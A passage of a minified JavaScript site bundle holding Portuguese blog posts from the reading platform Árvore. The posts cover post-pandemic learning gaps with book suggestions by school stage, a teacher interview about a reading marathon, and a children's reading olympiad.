levantados.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Se durante o auge do n\\xfamero de casos de Covid-19 o desafio era garantir acesso \\xe0s aulas e aos conte\\xfados aos estudantes, agora, com o retorno ao presencial, as aten\\xe7\\xf5es se voltaram para a defasagem escolar dessas crian\\xe7as e adolescentes.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Como a escola lida com esse cen\\xe1rio? \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/recuperacao-da-aprendizagem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Recompor a aprendizagem\"})}),\" para reverter a defasagem escolar e buscar solu\\xe7\\xf5es para outras quest\\xf5es que v\\xe3o sendo percebidas, como as de sa\\xfade mental, tem sido um desafio de equilibrar dificuldades e expectativas de toda a comunidade escolar envolvida.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"No texto de hoje vamos falar como a leitura pode ser um recurso fundamental nesse momento delicado vivido pelas institui\\xe7\\xf5es de ensino e apoiar o educador em suas pr\\xe1ticas pedag\\xf3gicas a fim de encontrar ferramentas para lidar com essas demandas.\\xa0\"}),/*#__PURE__*/a(\"h2\",{children:[\"\u200D\",/*#__PURE__*/e(\"strong\",{children:\"Cen\\xe1rio da educa\\xe7\\xe3o no contexto p\\xf3s pandemia\\xa0\"})]}),/*#__PURE__*/a(\"p\",{children:[\"Um estudo da UNICEF, sobre o \",/*#__PURE__*/e(o,{href:\"https://www.unicef.org/brazil/media/14026/file/cenario-da-exclusao-escolar-no-brasil.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Cen\\xe1rio da Exclus\\xe3o Escolar no Brasil\"})}),\", aponta n\\xfameros alarmantes: o pa\\xeds corre o risco de regredir mais de duas d\\xe9cadas no acesso de crian\\xe7as e jovens \\xe0 educa\\xe7\\xe3o.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"O que vinha avan\\xe7ando lentamente, entre 2016 at\\xe9 2019, retrocedeu rapidamente. E em novembro de 2020, mais de 5 milh\\xf5es de meninas e meninos de 6 a 17 anos n\\xe3o tinham acesso \\xe0 educa\\xe7\\xe3o no Brasil.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O resultado de todas as idas e vindas das aulas presenciais durante a pandemia nas escolas brasileiras, foi uma m\\xe9dia de mais de 279 dias sem aulas presenciais, considerando rede p\\xfablica e privada de ensino.\\xa0\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/c3mikudpy1XrW18Rt6IlaI0hOo.webp\",srcSet:\"https://framerusercontent.com/images/c3mikudpy1XrW18Rt6IlaI0hOo.webp?scale-down-to=512 512w,https://framerusercontent.com/images/c3mikudpy1XrW18Rt6IlaI0hOo.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/c3mikudpy1XrW18Rt6IlaI0hOo.webp 1200w\"}),/*#__PURE__*/a(\"h2\",{children:[\"\u200D\",/*#__PURE__*/e(\"strong\",{children:\"O retorno ao presencial\"})]}),/*#__PURE__*/e(\"p\",{children:\"Ao planejar o retorno \\xe0s aulas no ano letivo de 2022, considerando um cen\\xe1rio onde j\\xe1 era poss\\xedvel retomar 100% o ensino presencial, gestores e coordenadores elaboraram um plano de a\\xe7\\xe3o que considerasse diferentes aspectos, incluindo e priorizando a defasagem escolar.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Por mais que o ensino remoto tenha sido de qualidade em muitas escolas, a verdade \\xe9 que ele foi colocado em pr\\xe1tica com senso de urg\\xeancia e entregando o que era poss\\xedvel dentro das diversas realidades das escolas.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, mesmo nas institui\\xe7\\xf5es com grande estrutura para aulas online, as perdas do isolamento, as dificuldades que as fam\\xedlias estavam enfrentando e as lacunas de aprendizagem que passaram despercebidas precisaram ser consideradas nesse retorno.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ficou claro que elaborar um planejamento que contemplasse uma parte do ano letivo para recompor o que havia sido perdido no sentido de aprendizagem era uma prioridade. Por\\xe9m, na pr\\xe1tica, muitas escolas perceberam que o tempo disponibilizado para esse fim n\\xe3o foi o suficiente.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"A volta \\xe0s aulas n\\xe3o foi um retorno p\\xf3s f\\xe9rias, os estudantes iniciaram o ano com muito mais quest\\xf5es relativas aos efeitos da pandemia que os problemas com conte\\xfado escolar. Falta de conex\\xe3o com a escola, inseguran\\xe7a, ansiedade e dificuldades de relacionamento s\\xe3o s\\xf3 alguns exemplos dessas quest\\xf5es, ainda segundo o estudo \u201CCen\\xe1rio da Exclus\\xe3o Escolar no Brasil\u201D.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ou seja, a quest\\xe3o da defasagem escolar, que contempla a import\\xe2ncia de garantir a aprendizagem dos estudantes em rela\\xe7\\xe3o aos conte\\xfados, se torna, dentro desse cen\\xe1rio, apenas mais um desafio para as escolas.\\xa0\"})]});export const richText12=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"A defasagem escolar e um olhar sobre a demanda dos estudantes\"})}),/*#__PURE__*/e(\"p\",{children:\"Dada toda essa complexidade, o que a escola pode fazer? Um dos pontos primordiais levantados pelos especialistas para lidar com tudo isso \\xe9 o acolhimento. E n\\xe3o somente acolher o aluno em suas necessidades, mas acolher tamb\\xe9m as fam\\xedlias, as expectativas, o corpo docente e as dificuldades de cada parte envolvida.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O objetivo desse acolhimento n\\xe3o \\xe9 simplesmente abra\\xe7ar tudo isso e deixar as coisas acontecerem, correndo solto. A ideia \\xe9 acolher para conhecer e mapear quais s\\xe3o os impedimentos e obst\\xe1culos de alcan\\xe7ar o que foi planejado, alinhar as expectativas e recalcular a rota.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Essa etapa, talvez deva ser a primeira quando falamos de defasagem escolar, uma vez que, para a recomposi\\xe7\\xe3o, avalia\\xe7\\xf5es diagn\\xf3sticas e formativas, precisam ser aplicadas. Dessa forma, entendemos que a primeira avalia\\xe7\\xe3o diagn\\xf3stica ser\\xe1 a emocional.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"N\\xe3o que a escola precise tratar problemas de sa\\xfade mental, isso sequer \\xe9 recomendado. O que precisa ser orientado aos educadores \\xe9 a import\\xe2ncia de perceber e identificar as car\\xeancias, as dificuldades e as demandas para encaminhamentos assertivos e, caso seja necess\\xe1rio, com ajuda profissional.\\xa0\"}),/*#__PURE__*/a(\"h2\",{children:[\"\u200D\",/*#__PURE__*/e(\"strong\",{children:\"A leitura como ferramenta de acolhimento\"})]}),/*#__PURE__*/e(\"p\",{children:\"Como foi dito no t\\xf3pico anterior, acolher os desafios dos estudantes, com aten\\xe7\\xe3o e escuta ativa \\xe9 o primeiro passo para compreender quais as dificuldades a escola vai precisar considerar no processo de recomposi\\xe7\\xe3o das aprendizagens diante da defasagem escolar..\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 tamb\\xe9m um ponto de partida para que voc\\xea, gestor, saiba discernir o que pode ser apoiado pela escola e o que n\\xe3o vai ser poss\\xedvel atender, mas que a escola pode endere\\xe7ar.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Entretanto, nem sempre as dificuldades e os enfrentamentos dos alunos e educadores v\\xe3o ficar vis\\xedveis. \\xc9 preciso encontrar formas de dar espa\\xe7o para que isso possa aparecer, de forma cuidadosa e atenta.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"A leitura pode contribuir muito nesse processo. Encontrar textos, hist\\xf3rias e autores que permitam que o leitor se conecte e consiga olhar para dentro e reconhecer suas ang\\xfastias \\xe9 um caminho que, al\\xe9m de enriquecedor, pode ser transformador.\\xa0\\xa0\"}),/*#__PURE__*/a(\"h2\",{children:[\"\u200D\",/*#__PURE__*/e(\"strong\",{children:\"Dicas de leitura para acolhimento\\xa0\"})]}),/*#__PURE__*/e(\"p\",{children:\"Para te ajudar a usar a leitura como uma aliada dentro desse contexto de defasagem escolar - em um sentido mais amplo do conceito - selecionamos livros para as diferentes etapas da educa\\xe7\\xe3o b\\xe1sica que podem ser um ponto de partida para esse mapeamento das necessidades dos estudantes.\\xa0\"}),/*#__PURE__*/a(\"h3\",{children:[\"\u200D\",/*#__PURE__*/e(\"strong\",{children:\"Educa\\xe7\\xe3o Infantil\\xa0\"})]}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CConfie nos monstros\u201D de Lauren Stockly: um livro para ajudar as crian\\xe7as a lidar com suas emo\\xe7\\xf5es. Ezzy \\xe9 um menino com emo\\xe7\\xf5es t\\xe3o poderosas que v\\xea seus sentimentos se transformarem em monstros e percebe que, para lidar com eles, \\xe9 preciso compreend\\xea-los.\"})})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CO menino que queria virar vento\u201D de Pedro Kalil Auad: o que pode fazer uma crian\\xe7a quando bate em seu peito a saudade? Fruto de parceria afinada entre autor e ilustradora, o livro prova que para transpor longas dist\\xe2ncias entre pessoas que se amam \\xe9 poss\\xedvel recorrer \\xe0 imagina\\xe7\\xe3o e \\xe0 sensibilidade.\"})})}),/*#__PURE__*/e(\"p\",{children:\"Os dois livros abordam o reconhecimento e compreens\\xe3o das emo\\xe7\\xf5es. Para essa fase, \\xe9 essencial que os pequenos tenham ajuda e orienta\\xe7\\xe3o para entender e dar nome ao que est\\xe3o sentindo.\\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ensino Fundamental Anos Iniciais\\xa0\"})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CA grande f\\xe1brica de palavras\u201D de Agn\\xe8s de Lestrade: existe um pa\\xeds onde as pessoas quase n\\xe3o falam. Neste estranho pa\\xeds, \\xe9 preciso comprar palavras para poder pronunci\\xe1-las. O pequeno Phil\\xe9as precisa de palavras para abrir seu cora\\xe7\\xe3o \\xe0 doce Cybelle. Mas como faz\\xea-lo se tudo o que ele tem vontade de dizer \\xe0 Cybelle custa uma fortuna? Um texto cheio de lirismo e ilustra\\xe7\\xf5es emocionantes. Uma ode \\xe0 magia das palavras.\\xa0\"})})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CBenjamin: poemas com desenhos e m\\xfasicas\u201D de Biagio D\u2019Angelo: Benjamin \\xe9 uma crian\\xe7a que est\\xe1 vivenciando os desafios e as alegrias da inf\\xe2ncia. O protagonista narra suas experi\\xeancias com sensibilidade e poesia sem igual. As ilustra\\xe7\\xf5es, como numa dan\\xe7a, abra\\xe7am o texto, ampliando a significa\\xe7\\xe3o da obra e apresentando o universo interior e on\\xedrico do personagem com maestria e delicadeza.\"})})}),/*#__PURE__*/e(\"p\",{children:\"Os livros podem ser um facilitador para promover o compartilhamento dos sentimentos. Com sensibilidade, \\xe9 poss\\xedvel se utilizar das compara\\xe7\\xf5es com as narrativas para trazer perguntas e reflex\\xf5es que permitam aos alunos expor o que est\\xe3o pensando.\\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ensino Fundamental Anos Finais\\xa0\"})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CA Luneta M\\xe1gica em Quadrinhos\u201D de Joaquim Manuel de Macedo: Simpl\\xedcio \\xe9 um jovem rapaz com problemas de vis\\xe3o e, por isso, dependente da fam\\xedlia. Certo dia, encontra um misterioso homem que lhe promete a cura para a cegueira: uma luneta m\\xe1gica! Com o poderoso artefato, Simpl\\xedcio ir\\xe1 enxergar muito al\\xe9m das apar\\xeancias, podendo observar a ess\\xeancia das pessoas. Mist\\xe9rio, disputa de poder e muitas emo\\xe7\\xf5es neste cl\\xe1ssico da literatura.\\xa0\"})})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:'\u201CRetratos da escola\u201D de Adriano Macedo (org.): Retratos da Escola, assim como um \\xe1lbum de fotografias que nos permite observar e comparar retratos de v\\xe1rios momentos da vida, \\xe9 uma colet\\xe2nea de textos cl\\xe1ssicos e contempor\\xe2neos, um conjunto de \"fotografias liter\\xe1rias\" em que escritores de diferentes \\xe9pocas registram as cores, as emo\\xe7\\xf5es e as densidades da escola no per\\xedodo em que viveram essa fase. Afinal, a escola \\xe9 uma ponte entre a casa e o mundo. Longe da fam\\xedlia, nas salas de aula, o estudante percebe e observa o outro, o diferente. E tem que se virar sozinho. \\xc9 onde aprende a conviver e a compartilhar, toma contato com novos conhecimentos, vive experi\\xeancias muitas vezes inusitadas e amplia o que j\\xe1 sabe a respeito da realidade.'})})}),/*#__PURE__*/e(\"p\",{children:\"Para os alunos dos Anos Finais, a ideia \\xe9 ampliar perspectivas. E, atrav\\xe9s delas, perceber onde eles se encontram nesse momento, ap\\xf3s o que viveram durante a pandemia. Outro ponto importante, \\xe9 reafirmar a conex\\xe3o com a escola. Promover o entendimento de que esse \\xe9 tamb\\xe9m um espa\\xe7o de autocuidado.\\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ensino M\\xe9dio\\xa0\"})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CO meu p\\xe9 de laranja lima\u201D de Jos\\xe9 Mauro de Vasconcelos: O protagonista Zez\\xe9 tem um pai desempregado e uma fam\\xedlia que passa por dificuldades. O menino vive aprontando, sem jamais se conformar com as limita\\xe7\\xf5es que o mundo lhe imp\\xf5e. A alegria e a tristeza n\\xe3o poderiam estar mais bem combinadas do que nestas p\\xe1ginas.\\xa0\"})})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"\u201CA poesia do encontro\u201D de Elisa Lucinda e Rubem Alves: a palavra encontra o papel, o autor encontra a imagem que vai traduzir sua ideia, o leitor se encontra com uma sensa\\xe7\\xe3o que j\\xe1 conhecia, mas que nunca havia formulado claramente antes.\\xa0\"})})}),/*#__PURE__*/e(\"p\",{children:\"Para a \\xfaltima etapa da educa\\xe7\\xe3o b\\xe1sica, a ideia \\xe9, atrav\\xe9s das leituras, promover o di\\xe1logo, nem sempre f\\xe1cil para os estudantes dessa fase. E, a partir desse di\\xe1logo, construir experi\\xeancias que valorizem suas identidades e singularidades.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Os livros sugeridos podem ser indicados para leitura individual e posterior troca sobre as percep\\xe7\\xf5es, ou para uma leitura compartilhada em sala de aula.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"}),/*#__PURE__*/e(\"p\",{children:\"Gestor, oriente os educadores a estarem atentos \\xe0s falas e comportamentos dos estudantes para que possam perceber qualquer necessidade de interven\\xe7\\xe3o e encaminhamento mais direcionado a profissionais da \\xe1rea de sa\\xfade mental ou quest\\xf5es sociais.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"N\\xf3s da \\xc1rvore esperamos que esse texto tenha trazido uma nova vis\\xe3o e possibilidade de abordagem sobre como lidar com a defasagem escolar no contexto t\\xe3o complexo quanto este que estamos vivendo no p\\xf3s pandemia. Se quiser se aprofundar no tema, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/recuperacao-da-aprendizagem?utm_source=blog_arvore&utm_medium=referral&utm_content=CTA_ebook_blog&utm_campaign=qme_2022\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"baixe gratuitamente nosso e-book sobre Recupera\\xe7\\xe3o da Aprendizagem!\"})})})]})]});export const richText13=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Como todos sabem a Maratona de Leitura est\\xe1 a todo vapor. Temos recebido muitas fotos, coment\\xe1rios e mensagens dos alunos, pais e professores sobre a experi\\xeancia que eles est\\xe3o tendo durante esse m\\xeas de muita leitura e divers\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"Diante de tanta empolga\\xe7\\xe3o e de resultados que j\\xe1 vem surpreendendo muito as escolas, trouxemos hoje no nosso blog a professora Meire Tisott do 5\\xba ano do Col\\xe9gio Madre Imilda que fica em Caxias do Sul, no Rio Grande do Sul. Ela veio contar um pouquinho para n\\xf3s como tem sido a experi\\xeancia de viver um m\\xeas muito maluquinho com a \\xc1rvore.\"}),/*#__PURE__*/e(\"h3\",{children:\"Qual foi o seu interesse em participar da Maratona com sua turma?\"}),/*#__PURE__*/e(\"p\",{children:\"A maratona diferente de outras propostas de leitura oferece uma leitura digital, que tem tudo a ver com essa gera\\xe7\\xe3o de hoje, de nativos digitais, de crian\\xe7as que precisam estar acessando diferentes tecnologias para constru\\xedrem sua aprendizagem. Isso envolveu bastante os alunos e por isso achei o projeto muito legal, porque ele faz o link da leitura com a tecnologia.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp\",srcSet:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=512 512w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp 1200w\"}),/*#__PURE__*/e(\"h3\",{children:\"Como tem sido a recep\\xe7\\xe3o dos alunos no dia a dia?\"}),/*#__PURE__*/e(\"p\",{children:\"Eles est\\xe3o muito envolvidos. Eu abri um per\\xedodo durante todas as minhas aulas para que eles possam acessar a plataforma para ler. Mas eu j\\xe1 tive um retorno dos pais dizendo que eles querem entrar a todo momento de casa, que querem ficar lendo at\\xe9 tarde e os pais precisam interromper. Tenho recebido muitos coment\\xe1rios das fam\\xedlias que nunca viram eles lendo tanto, a resposta tem sido bastante positiva.\"}),/*#__PURE__*/e(\"h3\",{children:\"Por que a Maratona tem tido tanto sucesso com os alunos? Por que est\\xe3o lendo como nunca antes?\"}),/*#__PURE__*/e(\"p\",{children:\"O formato de Maratona atrai muito a aten\\xe7\\xe3o deles, eu at\\xe9 expliquei que o objetivo n\\xe3o era vencer, mas sim ler de verdade. N\\xf3s envolvemos tamb\\xe9m os pais, fizemos uma carta para eles explicando o projeto e os nossos objetivos, porque sabemos que precisamos do apoio deles em casa tamb\\xe9m para a leitura funcionar.\"}),/*#__PURE__*/e(\"p\",{children:'A quantidade de livros e a variedade de g\\xeaneros tamb\\xe9m deixaram eles muito motivados. E as atividades propostas por voc\\xeas a cada semana t\\xeam deixado eles ainda mais engajados com o projeto. Eu estou usando cada uma das propostas, por exemplo, essa semana, eles apresentaram os contos inventados em sala.Ent\\xe3o, em resumo, a atividade que \\xe9 \"maluquinha\", a plataforma que \\xe9 digital, a variedade de livros, o apoio dos pais e da coordena\\xe7\\xe3o colaborou para que o projeto desse certo.'}),/*#__PURE__*/e(\"h3\",{children:\"E os pais? Como tem sido a recep\\xe7\\xe3o?\"}),/*#__PURE__*/e(\"p\",{children:'Tem sido muito positiva. Tem um ponto bem interessante com rela\\xe7\\xe3o a isso. N\\xf3s fizemos uma atividade na nossa sala de leitura que \\xe9 um espa\\xe7o onde os pais conseguem ver o que est\\xe1 acontecendo. Os pais passaram e quiseram saber mais sobre aquele momento. Afinal de contas eles estavam usando a sala de leitura e seus dispositivos m\\xf3veis, o que n\\xe3o \\xe9 comum. Para os pais ficou um ponto de interroga\\xe7\\xe3o: \"Como \\xe9 isso? N\\xe3o tem mais livro?\" Ent\\xe3o eu fiquei explicando que n\\xe3o \\xe9 assim, que vamos conviver com o f\\xedsico e com o digital e mostrei para eles como \\xe9 importante para a gera\\xe7\\xe3o dos alunos de hoje navegar por v\\xe1rios formatos diferentes.'}),/*#__PURE__*/e(\"h3\",{children:\"Como tem sido a utiliza\\xe7\\xe3o de uma nova tecnologia dentro da sua aula? Quais foram os seus desafios?\"}),/*#__PURE__*/e(\"p\",{children:\"O primeiro foi eu me apropriar da plataforma. Me preparei previamente e fiz inicialmente uma apresenta\\xe7\\xe3o em sala para eles, entrando em cada ambiente da \\xc1rvore usando um datashow. Depois fiz uma carta para os pais de apresenta\\xe7\\xe3o e solicitei que eles acessassem no final de semana a primeira vez. Na segunda-feira resolvi algumas demandas que apareceram e iniciamos 100%. \\xc9 uma plataforma bem simples e f\\xe1cil de usar que podemos trabalhar com tranquilidade.\"}),/*#__PURE__*/e(\"h3\",{children:\"Ap\\xf3s essa experi\\xeancia que eles t\\xeam tido, que tipo de impacto voc\\xea acredita que teremos na vida desses alunos daqui para frente?\"}),/*#__PURE__*/e(\"p\",{children:\"O grande impacto \\xe9 o acesso a um novo mundo. Possibilitar que a crian\\xe7a entre em um mundo mais complexo, que d\\xe1 maior abertura para o pensamento. Uma vez que eles tiveram essa experi\\xeancia e puderam ver o quanto \\xe9 legal, isso desperta diretamente a imagina\\xe7\\xe3o de cada um. Eles acabam escrevendo melhor e descobrem como \\xe9 a vida do leitor com o livro. \\xc9 irrevers\\xedvel. Sem d\\xfavida nenhuma eles ir\\xe3o passar a ler mais daqui pra frente.\"})]});export const richText14=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Games que despertam o gosto pela leitura nas crian\\xe7as. Essa \\xe9 a proposta do Guten News, que voc\\xea j\\xe1 conhece, mas agora, n\\xf3s temos um novo desafio para agu\\xe7ar a curiosidade dos nossos pequenos leitores e deix\\xe1-los ainda mais engajados! Confira a segunda edi\\xe7\\xe3o das Olimp\\xedadas Guten, com jogos feitos especialmente para testar as habilidades de leitura desenvolvidas ao longo das nossas edi\\xe7\\xf5es. A cada resposta correta, os participantes acumulam pontos preciosos que aumentam sua coloca\\xe7\\xe3o na classifica\\xe7\\xe3o geral. Ao final, os primeiros colocados ser\\xe3o premiados com livros e outros presentes relacionados \\xe0 leitura!\"}),/*#__PURE__*/e(\"p\",{children:\"A Olimp\\xedada \\xe9 direcionada para os alunos de 4\\xba a 9\\xba anos do Ensino Fundamental. A Guten conta com os pais e professores para incentivar as crian\\xe7as nesse desafio! Os adultos podem ajudar os pequenos a planejar os hor\\xe1rios semanais para que leiam as reportagens do Guten News e se preparem para as perguntas do jogo. Ao final do desafio, os 25 primeiros colocados receber\\xe3o um certificado de participa\\xe7\\xe3o e pr\\xeamios surpresa que foram pensados para fomentar o h\\xe1bito da leitura.\"}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"As Olimp\\xedadas ajudam a criar o h\\xe1bito de ler temas atuais, todos os dias.\"})}),/*#__PURE__*/e(\"p\",{children:\"Esta \\xe9 a segunda vez que a Guten realiza uma Olimp\\xedada de leitura. A primeira edi\\xe7\\xe3o fez tanto sucesso, que decidimos lan\\xe7ar novas edi\\xe7\\xf5es semestralmente. \u201CAs Olimp\\xedadas ajudam a criar o h\\xe1bito de ler temas atuais, todos os dias. O h\\xe1bito da leitura gera comprometimento e amplia o repert\\xf3rio do aluno\u201D, destaca a respons\\xe1vel pela \\xe1rea pedag\\xf3gica da Guten, Let\\xedcia Reina. Se voc\\xea n\\xe3o participou da primeira edi\\xe7\\xe3o, n\\xe3o perca essa oportunidade. Se voc\\xea j\\xe1 participou, \\xe9 a sua chance de conseguir uma coloca\\xe7\\xe3o ainda melhor.\"}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"O segredo \\xe9 ficar antenado nas novas edi\\xe7\\xf5es do Guten News e ler as mat\\xe9rias dispon\\xedveis a partir da edi\\xe7\\xe3o 67.\"})}),/*#__PURE__*/e(\"img\",{alt:\"olimpiadas\",className:\"framer-image\",src:\"https://framerusercontent.com/images/p5YCbuaBbxDs3W8LkGtZoOZ94.jpeg\",srcSet:\"https://framerusercontent.com/images/p5YCbuaBbxDs3W8LkGtZoOZ94.jpeg?scale-down-to=512 512w,https://framerusercontent.com/images/p5YCbuaBbxDs3W8LkGtZoOZ94.jpeg 1024w\"}),/*#__PURE__*/e(\"h4\",{children:/*#__PURE__*/e(\"strong\",{children:\"Novidade!\"})}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, temos novidades: a tem\\xe1tica da Olimp\\xedada \\xe9 completamente diferente da apresentada na edi\\xe7\\xe3o anterior. Desta vez, os leitores Guten News v\\xe3o embarcar em uma aventura em tr\\xeas mundos diferentes: o Mundo das Plantas, Mundo do Gelo e Mundo Espacial, que correspondem \\xe0s etapas do jogo. Cada etapa, por sua vez, possui quatro fases. Em cada uma delas, os jogadores possuem duas vidas, ou seja, duas chances de responder \\xe0s quest\\xf5es. As etapas e as fases ser\\xe3o lan\\xe7adas gradualmente: uma nova etapa a cada quatro semanas e uma nova fase toda semana. E anote a\\xed, temos uma dica preciosa da fundadora da Guten, Danielle Brants, para ajudar os pequenos leitores a ter um bom desempenho nos jogos: \u201Co segredo \\xe9 ficar antenado nas novas edi\\xe7\\xf5es do Guten News e ler as mat\\xe9rias dispon\\xedveis a partir da edi\\xe7\\xe3o 67. Assim, na hora de responder as quest\\xf5es da Olimp\\xedada, os leitores estar\\xe3o com as respostas na ponta da l\\xedngua! \u201D\"}),/*#__PURE__*/e(\"p\",{children:'[caption id=\"attachment_361\" align=\"aligncenter\" width=\"750\"]'}),/*#__PURE__*/e(\"img\",{alt:\"sem-titulo\",className:\"framer-image\",src:\"https://framerusercontent.com/images/5p3Yk5gb1DiJ1IXbWGNoXVwJ2M.svg\"}),/*#__PURE__*/e(\"p\",{children:\" Tela Inicial com as fases da Olimp\\xedada. Cr\\xe9ditos Guten News.[/caption]\"}),/*#__PURE__*/e(\"h4\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como participar?\"})}),/*#__PURE__*/e(\"p\",{children:\"Para participar, os alunos dever\\xe3o criar seu cadastro no Guten News e acessar, no menu lateral esquerdo, a aba \u201COlimp\\xedada\u201D. Com isso, j\\xe1 estar\\xe3o prontos para o in\\xedcio dos jogos. A segunda Olimp\\xedada Guten entrou no ar no dia 29 de agosto e ficar\\xe1 dispon\\xedvel at\\xe9 o dia 14 de novembro. A divulga\\xe7\\xe3o dos resultados ocorre no dia 21 de novembro e as premia\\xe7\\xf5es ocorrer\\xe3o entre 22 de novembro e 02 de dezembro. A Guten tamb\\xe9m realizar\\xe1 uma visita \\xe0s escolas da capital Paulista que contarem com maior n\\xfamero de participantes no ranking dos 25 premiados.\"}),/*#__PURE__*/a(\"p\",{children:[\"[tw-divider][/tw-divider]\",/*#__PURE__*/e(\"strong\",{children:\"Para mais informa\\xe7\\xf5es, consulte o site da \"}),/*#__PURE__*/e(o,{href:\"https://gutennews.com.br/olimpiada/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Olimp\\xedada Guten\"})})}),/*#__PURE__*/e(\"strong\",{children:\". \"}),/*#__PURE__*/e(o,{href:\"https://gutennews.com.br/olimpiada/regulamento.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Leia o regulamento\"})})}),/*#__PURE__*/e(\"strong\",{children:\". \"})]})]});export const richText15=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:[\"Os desafios do Novo Ensino M\\xe9dio \\xe9 um assunto que tem gerado d\\xfavidas e reflex\\xf5es, sobretudo em diretores e professores. As mudan\\xe7as est\\xe3o previstas para serem implementadas em 2022, por isso, \\xe9 essencial entender \",/*#__PURE__*/e(o,{href:\"https://blog.elevaplataforma.com.br/nova-bncc-ensino-medio/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"o que diz a BNCC\"})}),\" (Base Nacional Comum Curricular) e como se adequar \\xe0 transforma\\xe7\\xe3o do processo educativo. \"]}),/*#__PURE__*/a(\"p\",{children:[\"Atualmente, j\\xe1 existem algumas escolas que est\\xe3o mudando sua estrutura e o curr\\xedculo de aprendizagem, a fim de promover uma forma\\xe7\\xe3o alinhada \\xe0s exig\\xeancias do \",/*#__PURE__*/e(o,{href:\"http://portal.mec.gov.br/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Minist\\xe9rio da 